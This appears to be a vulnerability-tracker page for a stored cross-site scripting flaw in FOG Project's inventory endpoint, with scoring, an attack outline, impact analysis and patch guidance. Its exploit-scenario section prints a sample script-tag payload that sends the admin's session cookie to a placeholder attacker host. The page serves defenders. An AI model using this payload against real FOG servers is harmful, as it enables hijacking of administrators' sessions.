Skip to main content

FOG Project EUVDEUVD-2026-46414

| CVE-2026-47687 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-07-21 GitHub_M
8.7
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Discover registered host MAC address via ARP scan or network observation
  2. Delivery
    POST crafted XSS payload as sysproduct to /service/inventory.php using known MAC
  3. Exploit
    Malicious payload persisted to FOG database
  4. Execution
    Admin authenticates and opens Reports > Inventory
  5. Persist
    Stored XSS breaks out of option element and executes in admin browser
  6. Impact
    Exfiltrate admin session token or perform privileged FOG operations

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must know at least one MAC address of a host registered in the target FOG server - this is the primary prerequisite, and it favors network-adjacent attackers (who can discover MACs via ARP scanning or passive observation) over purely remote attackers. The FOG client service endpoint /service/inventory.php must be reachable from the attacker's network position; organizations that firewall this endpoint to internal client subnets significantly reduce external exposure. For the payload to execute, a FOG administrator must subsequently open the Reports > Inventory page in their browser - this required human action (UI:R) limits exploitation to a persistent, lying-in-wait model rather than instant compromise. No non-default configuration is required: the inventory reporting endpoint and the Reports view are standard FOG features enabled in all default deployments. Exploitation is additionally limited to sessions where an admin is logged in at the time of page visit.

Impact

The CVSS 3.1 base score of 8.7 (High) with vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N reflects a network-reachable stored XSS with scope change and high confidentiality and integrity impact - consistent with full admin session compromise. A notable discrepancy exists: the official CVSS assigns PR:L (low privilege), yet the CVE description explicitly characterizes the attacker as 'unauthenticated'; the MAC address appears to serve as the basis for PR:L, functioning as a weak, network-discoverable identifier rather than a true credential. This is a meaningful distinction defenders should verify against the vendor advisory. EPSS is only 0.22% at the 12th percentile, and the vulnerability is absent from CISA KEV, indicating no confirmed active exploitation and low near-term automated exploitation probability. Despite the high CVSS, real-world risk is shaped by several factors: FOG is a niche product primarily deployed in educational and IT imaging environments rather than broadly in enterprise production; the MAC address prerequisite favors network-adjacent attackers with visibility into ARP traffic; and the admin UI trigger (UI:R) requires human action. However, stored XSS executing in an admin context - where a single successful payload can yield full system control over FOG's imaging infrastructure - meaningfully elevates the priority over typical reflected XSS findings of similar score.

Exploit ScenarioDerived

An attacker on the same network segment as a FOG-managed environment performs ARP scanning or passively monitors broadcast traffic to collect MAC addresses of registered hosts. They craft an HTTP POST to the FOG server's /service/inventory.php with the discovered MAC and a sysproduct value containing a JavaScript payload such as </option><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>, which the server stores in the inventory database without sanitization. When a FOG administrator subsequently navigates to Reports > Inventory, the unescaped payload breaks out of the <option> element and executes in their browser session, silently exfiltrating the admin's session token to the attacker.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 07, 2026

Stored cross-site scripting in FOG Project's inventory reporting pipeline allows an unauthenticated network attacker to inject persistent JavaScript into the admin interface by submitting a crafted sysproduct field to the client-facing /service/inventory.php endpoint using any known registered host MAC address. The payload is persisted to the database and executes in an administrator's browser when they open Reports > Inventory, enabling session hijacking, credential theft, or admin-level actions including host manipulation and imaging pipeline control. No public exploit has been identified at time of analysis and EPSS is low (0.22%, 12th percentile), but the stored nature of the payload and its execution in a privileged admin context make this a meaningful risk for any internet-exposed or internally accessible FOG deployment.

Earlier versions of this analysis (1)
v1 Jul 21, 2026 - 21:06 CVSS 7.3

Stored cross-site scripting in FOG Project before 1.5.10.1832 and 1.6.0-beta.2313 lets an unauthenticated attacker who knows any registered host's MAC address inject arbitrary JavaScript that later runs in an administrator's browser. The payload is delivered through an unauthenticated inventory-reporting endpoint and persisted in the database, then fires when an admin views Reports > Inventory. No public exploit identified at time of analysis, and no EPSS or CISA KEV data was supplied, so exploitation is currently theoretical but the attack path is fully described by the vendor advisory.

RemediationAI

Upgrade FOG Project to version 1.5.10.1832 (stable) or 1.6.0-beta.2313 (beta), both of which fix the unescaped output in selectForm() per the vendor advisory at https://github.com/FOGProject/fogproject/security/advisories/GHSA-hg23-3w27-2rf2. If immediate upgrade is not feasible, restrict network-level access to /service/inventory.php so that only known FOG client IP ranges or subnets can POST to the endpoint - this prevents unauthenticated external actors from injecting malicious inventory data, though it may interrupt inventory reporting from remote or DHCP-roaming clients. Additionally, administrators should audit existing inventory database records for anomalous or HTML/JavaScript-containing sysproduct values and sanitize or remove them before granting admin-level access to the Reports > Inventory view, as stored payloads from pre-patch submissions remain dangerous until cleaned. Restricting the FOG admin web interface to internal networks or VPN-only access provides a secondary layer of defense against admin-session exploitation even if the injection step succeeds.

Affected VersionsENISA

fogproject < 1.5.10.1832
fogproject < 1.6.0-beta.2313

Affected Packages

euvd fogproject fix: 1.5.10.1832, 1.6.0-beta.2313

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

FOG Project is a free, open-source network cloning, imaging, and inventory management system written in PHP, commonly deployed in educational institutions and enterprise IT departments. The vulnerability is rooted in the selectForm() helper method inside fogpage.class.php, which renders <option> HTML elements using raw, unescaped user-controlled data - a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-site Scripting) defect. The inventory submission endpoint /service/inventory.php is designed to accept telemetry from FOG-registered client hosts, including hardware metadata fields such as sysproduct. The endpoint authenticates client submissions using the host's MAC address rather than a session credential, meaning any party who knows a registered MAC can impersonate that host and submit arbitrary field values. These values are stored in the database without sanitization and later rendered by the vulnerable selectForm() helper in the admin Reports > Inventory view, bypassing output encoding entirely. The affected product scope per CPE is cpe:2.3:a:fogproject:fogproject:*:*:*:*:*:*:*:*, covering all releases prior to the patched stable (1.5.10.1832) and beta (1.6.0-beta.2313) versions.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY HIGH
NVD 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 9.3 CRITICAL

Description explicitly states unauthenticated attacker; MAC address is network-discoverable and not a credential, so PR:N overrides the official PR:L; stored XSS in admin context with scope change justifies S:C and high C/I.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

4
Analysis Updated
Aug 07, 2026 - 13:59 vuln.today
v2 - CVSS changed
CVSS changed
Aug 07, 2026 - 13:52 NVD
7.3 (HIGH) 8.7 (HIGH)
Patch available
Jul 21, 2026 - 23:36 EUVD
CVE Published
Jul 21, 2026 - 20:39 cve.org
HIGH 7.3

DescriptionNVD

FOG is a free open-source cloning/imaging/rescue suite/inventory management system. Prior to versions 1.5.10.1832 and 1.6.0-beta.2313, the selectForm() helper in fogpage.class.php renders <option> labels using raw, unescaped user input. An unauthenticated attacker who knows any registered host's MAC address can POST a malicious sysproduct value to /service/inventory.php, which is stored in the database. When an administrator opens Reports > Inventory, the payload breaks out of the <option> element and executes arbitrary JavaScript in the admin's browser. Versions 1.5.10.1832 and 1.6.0-beta.2313 fix the issue.

Executive ViewAI

Why It Matters

FOG Project inventory reporting contains a stored cross-site scripting vulnerability allowing unauthenticated attackers to inject malicious code into administrators' browsers, enabling credential theft and unauthorized control of IT infrastructure. Any organization running FOG for asset management faces this risk, particularly if deployed on internet-accessible networks. With a CVSS score of 8.7 and no public exploit currently identified, urgent patching is required to prevent potential compromise of IT operations and imaging systems.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Low
niche open-source imaging tool, primarily educational and IT lab deployments
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy